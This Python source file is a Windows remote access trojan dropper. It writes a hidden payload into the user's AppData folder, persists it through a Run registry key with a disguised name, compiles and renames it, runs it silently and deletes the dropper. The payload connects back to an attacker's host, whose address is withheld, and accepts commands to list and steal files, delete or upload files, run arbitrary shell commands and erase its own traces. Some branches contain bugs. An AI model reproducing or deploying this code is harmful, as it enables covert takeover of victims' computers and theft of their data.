import winreg as reg
import os
import getpass
import subprocess
import time

exex = os.path.dirname(os.path.realpath(__file__))
exex = exex + "/"
username = getpass.getuser()

def AddToRegistry():
    address=r"C:\Users\{}\AppData\Roaming\python".format(username)

    key = "HKEY_CURRENT_USER"
    key_value = r"Software\Microsoft\Windows\CurrentVersion\Run"

    open = reg.OpenKey(key,key_value,0,reg.KEY_ALL_ACCESS)

    reg.SetValueEx(open,"MpOEV.pyw",0,reg.REG_SZ,address)

    reg.CloseKey(open)



creator = open("C:/Users/{}/AppData/Roaming/python/MpOEV_tmp.pyw".format(username), "w")
creator.write("""
import os
import socket
import time
import getpass
import sys
import subprocess
import traceback

s = socket.socket()
port = 4231
host = "{}"


def connect():
    while True:
        try:
            s.connect((host,port))
            break
        except ConnectionError:
            time.sleep(5)
            connect()
        except OSError:
            time.sleep(5)
            connect()
        except socket.timeout():
            time.sleep(5)
            connect()

connect()



while 1:
    command = s.recv(1024)
    command = command.decode()
    if command == "cwd":
        files = os.getcwd()
        files = str(files)
        s.send(files.encode())

    elif command == "cd":
        file_path = s.recv(5000)
        file_path = file_path.decode()
        files = os.listdir(file_path)
        files = str(files)
        s.send(files.encode())

    elif command == "download":
        file_path = s.recv(5000)
        file_path = file_path.decode()
        file = open(file_path, "rb")
        data = file.read()
        file.close
        s.send(data)

    elif command == "delete":
        file_path = s.recv(5000)
        file_path = file_path.decode()
        os.remove(file_path)
        s.send("File deleted".decode())

    elif command == "upload":
        data = s.recv(100000)
        filename = s.recv(2048)
        file = open(file, "rb")
        file.write(data)
        file.close
        s.send("File successfully uploaded".encode())


    elif command == "removetraces":

        os.remove("C:/Users/{}/AppData/Roaming/python/MpOEV.pyw".format(getpass.getuser()))
        sys.exit()

    elif command == "connecter":
        time.sleep(5)
        connect()

    elif command == "shutdown":
        time.sleep(5)
        sys.exit()

    elif command == "cmd":
        cmd = s.recv(5000)
        cmd = cmd.encode()
        try:
            proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            out, err = proc.communicate()
            output = (out + err)
            s.send(output.encode())
        except Exception as exc:
            s.send(traceback.format_exc().encode())


    else:
        pass
""".format("wont leak my ip xD","{}"))
creator.close

creator1423 = open("C:/Users/{}/AppData/Roaming/python/MpOEV_tmp.pyw".format(username), "r")
klasdfnoölasdf = creator1423.readline(2)
creator1423.close
time.sleep(2)

if __name__=="__main__":
    AddToRegistry()


subprocess.Popen(["python", "-OO","-m", "py_compile", "C:/Users/{}/AppData/Roaming/python/MpOEV_tmp.pyw".format(username)])

renamer = open("C:/Users/{}/AppData/Roaming/python/f_uilo_tmp.pyw".format(username), "w")
renamer.write("""import os
import time
import getpass
import subprocess
time.sleep(5)
username = getpass.getuser()
os.rename("C:/Users/{}/AppData/Roaming/Python/__pycache__/MpOEV_tmp.cpython-37.opt-2.pyc".format(username), "C:/Users/{}/AppData/Roaming/Python/MpOEV.pyw".format(username))
os.remove("C:/Users/{}/AppData/Roaming/Python/MpOEV_tmp.pyw".format(username))
time.sleep(3)
subprocess.Popen(["pythonw", "C:/Users/{}/AppData/Roaming/Python/MpOEV.pyw".format(username)], stdout=subprocess.PIPE)
time.sleep(2)
os.remove("{}")""".format("{}","{}","{}","{}",exex))
renamer.close
subprocess.Popen(["pythonw", "C:/Users/{}/AppData/Roaming/python/f_uilo_tmp.pyw".format(username)], stdout=subprocess.PIPE)